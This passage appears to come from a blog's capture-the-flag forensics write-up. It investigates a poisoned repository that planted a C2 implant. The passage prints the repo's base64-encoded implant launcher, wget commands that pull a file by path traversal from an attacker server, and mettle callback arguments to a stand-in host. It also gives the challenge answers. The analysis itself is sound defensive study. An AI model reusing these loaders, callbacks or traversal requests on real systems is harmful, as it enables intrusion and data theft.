</code></pre><p>Oh, that&rsquo;s our flag. Huh. Weird.</p>
<h1 id="5">5</h1>
<blockquote>
<p>What was the name of the malicious repository? (string)</p></blockquote>
<p><code>diogenes-ticket-parser</code></p>
<blockquote>
<p>What file holds the encrypted payload? (filename.ext)</p></blockquote>
<p><code>calibration.bin</code></p>
<p>Within the same directory with <code>calibration.bin</code>. Though, I don&rsquo;t remember which at file did I found this. It will be important later:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>_CALIBRATION <span style="color:#f92672">=</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;Y2htb2QgK3ggfi8uY2FjaGUvLnRpY2tldC1wYXJzZXIvLmludGVncml0eTsgfi8uY2FjaGUvLnRpY2tldC1wYXJzZXIvLmludGVncml0eSAyPiYxICY=&#34;</span>
</span></span><span style="display:flex;"><span>) 
</span></span><span style="display:flex;"><span><span style="color:#75715e"># chmod +x ~/.cache/.ticket-parser/.integrity; ~/.cache/.ticket-parser/.integrity 2&gt;&amp;1 &amp;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_CACHE_DIR <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;LmNhY2hl&#34;</span> <span style="color:#75715e"># .cache</span>
</span></span><span style="display:flex;"><span>_PARSER_DIR <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;LnRpY2tldC1wYXJzZXI=&#34;</span> <span style="color:#75715e"># .ticket-parser</span>
</span></span><span style="display:flex;"><span>_FILE <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;LmludGVncml0eQ==&#34;</span> <span style="color:#75715e"># .integrity</span>
</span></span></code></pre></div><blockquote>
<p>What email address is listed for the author of the repo? (email address)</p></blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>~/Downloads/PoisonedBranch/home/Tom/Projects/diogenes-ticket-parser$ git log
</span></span><span style="display:flex;"><span>commit 81d8e7448c185be0733d8cab67b40a2e572fd91e <span style="color:#f92672">(</span>HEAD -&gt; main, origin/main, origin/HEAD<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Author: Sebastain Moran &lt;cbass.Moran@blackpearl2026.htb&gt;
</span></span><span style="display:flex;"><span>Date:   Fri Sep <span style="color:#ae81ff">11</span> 16:05:06 <span style="color:#ae81ff">2026</span> +0100
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Initial project import
</span></span></code></pre></div><blockquote>
<p>What is the full path of the c2 implant? (<code>/path/to/file</code>)</p></blockquote>
<pre tabindex="0"><code>/home/Tom/.cache/.ticket-parser/.integrity
</code></pre><blockquote>
<p>What port did the implant connect back to (number)? And its pid, as well?</p></blockquote>
<p>Within the <code>ss_-tanp.txt</code>:</p>
<pre tabindex="0"><code>State  Recv-Q Send-Q Local Address:Port  Peer Address:Port Process                              
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*     users:((&#34;sshd&#34;,pid=629,fd=3))       
ESTAB  0      0       192.168.0.21:50878 203.0.113.10:31337 users:((&#34;.integrity&#34;,pid=1514,fd=4))
LISTEN 0      128             [::]:22            [::]:*     users:((&#34;sshd&#34;,pid=629,fd=4))       
</code></pre><blockquote>
<p>The attacker tried to use URL:PORT before using IP:PORT to download a file to Tom&rsquo;s machine. What was the URL:PORT combo? (set the spawned vm IP to this URL in your /etc/hosts to complete the challenge)</p></blockquote>
<pre tabindex="0"><code>moran@BlackPearl -&gt; ssh address -&gt; pid is 629
</code></pre><pre tabindex="0"><code>└─➜ nmap 10.129.5.145                                                                                          [0]
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-20 14:27 +0700
Nmap scan report for 10.129.5.145 (10.129.5.145)
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
</code></pre><p>In audit.log</p>
<pre tabindex="0"><code>type=SYSCALL msg=audit(1789482400.268:366): arch=c000003e syscall=59 success=yes exit=0 a0=5642c1639aa8 a1=5642c1639830 a2=5642c1639868 a3=8 items=3 ppid=1516 pid=1520 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=tty1 ses=1 comm=&#34;wget&#34; exe=&#34;/usr/bin/wget&#34; subj=unconfined key=&#34;tom_exe&#34; ARCH=x86_64 SYSCALL=execve AUID=&#34;Tom&#34; UID=&#34;Tom&#34; GID=&#34;Tom&#34; EUID=&#34;Tom&#34; SUID=&#34;Tom&#34; FSUID=&#34;Tom&#34; EGID=&#34;Tom&#34; SGID=&#34;Tom&#34; FSGID=&#34;Tom&#34;
type=EXECVE msg=audit(1789482400.268:366): argc=6 a0=&#34;wget&#34; a1=&#34;-q&#34; a2=2D2D6865616465723D436F6F6B69653A20582D4F70657261746F722D417574683D6E61706F6C656F6E5F6D6F72616E5F31383934 a3=&#34;-O&#34; a4=&#34;authorized_keys&#34; a5=687474703A2F2F426C61636B506561726C323032362E6874623A393939392F646F776E6C6F61643F66696C653D2E2E2F2E2E2F2E7373682F69645F7273612E7075620A6C73202D6C610A
</code></pre><p>Means:</p>
<pre tabindex="0"><code>wget -q --header=&#34;Cookie: X-Operator-Auth=napoleon_moran_1894&#34; \
     -O authorized_keys \
     http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub
</code></pre><p>This happen before:</p>
<pre tabindex="0"><code>type=EXECVE msg=audit(1789482890.524:369): argc=6 a0=&#34;wget&#34; a1=&#34;-q&#34; a2=2D2D6865616465723D436F6F6B69653A20582D4F70657261746F722D417574683D6E61706F6C656F6E5F6D6F72616E5F31383934 a3=&#34;-O&#34; a4=&#34;authorized_keys&#34; a5=&#34;http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub&#34;
</code></pre><p>Means:</p>
<pre tabindex="0"><code>wget -q --header=&#34;Cookie: X-Operator-Auth=napoleon_moran_1894&#34; \
     -O authorized_keys \
     http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub
</code></pre><blockquote>
<p>What is the name of the Cookie/Token for the attackers web server? (Header=value)</p></blockquote>
<pre tabindex="0"><code>X-Operator-Auth=napoleon_moran_1894
</code></pre><blockquote>
<p>The attacker deleted a file before leaving. What command did they run? (string)</p></blockquote>
<pre tabindex="0"><code>rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
</code></pre><p>From:</p>
<pre tabindex="0"><code class="language-audit.log" data-lang="audit.log">type=SYSCALL msg=audit(1789483257.580:381): arch=c000003e syscall=59 success=yes exit=0 a0=55ed9075b9c0 a1=55ed9075b8e0 a2=55ed9075b8f8 a3=8 items=3 ppid=1549 pid=1551 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=tty1 ses=1 comm=&#34;rm&#34; exe=&#34;/usr/bin/rm&#34; subj=unconfined key=&#34;tom_exe&#34; ARCH=x86_64 SYSCALL=execve AUID=&#34;Tom&#34; UID=&#34;Tom&#34; GID=&#34;Tom&#34; EUID=&#34;Tom&#34; SUID=&#34;Tom&#34; FSUID=&#34;Tom&#34; EGID=&#34;Tom&#34; SGID=&#34;Tom&#34; FSGID=&#34;Tom&#34;
type=EXECVE msg=audit(1789483257.580:381): argc=2 a0=&#34;rm&#34; a1=&#34;Gov_HR_Continuity_Emergency_Callout_Roster.pdf&#34;
type=CWD msg=audit(1789483257.580:381): cwd=&#34;/home/Tom/Work_Stuff/ONBOARDING&#34;
</code></pre><blockquote>
<p>What was the ppid of the command from the previous question? (number)</p></blockquote>
<p>-&gt; 1549</p>
<blockquote>
<p>Extra notes, might be useful later.</p></blockquote>
<p>Parsing <code>.integrity</code> strings:</p>
<pre tabindex="0"><code>mettle -U &#34;DZX5O4OdQwxuIGgiBIR4cA==&#34; -G &#34;AAAAAAAAAAAAAAAAAAAAAA==&#34; -u &#34;tcp://blackpearl2026.htb:31337&#34; -d &#34;0&#34; -o &#34;&#34; -b &#34;0&#34; 
</code></pre><p>Also:</p>
<pre tabindex="0"><code>/etc/group
/var/run/nscd/socket
/proc/self/task
/etc/localtime
TZif
/usr/share/zoneinfo/
/share/zoneinfo/
/etc/zoneinfo/
</code></pre><pre tabindex="0"><code>search
/etc/passwd
/usr/local/bin:/bin:/usr/bin
</code></pre>]]></content:encoded></item></channel></rss>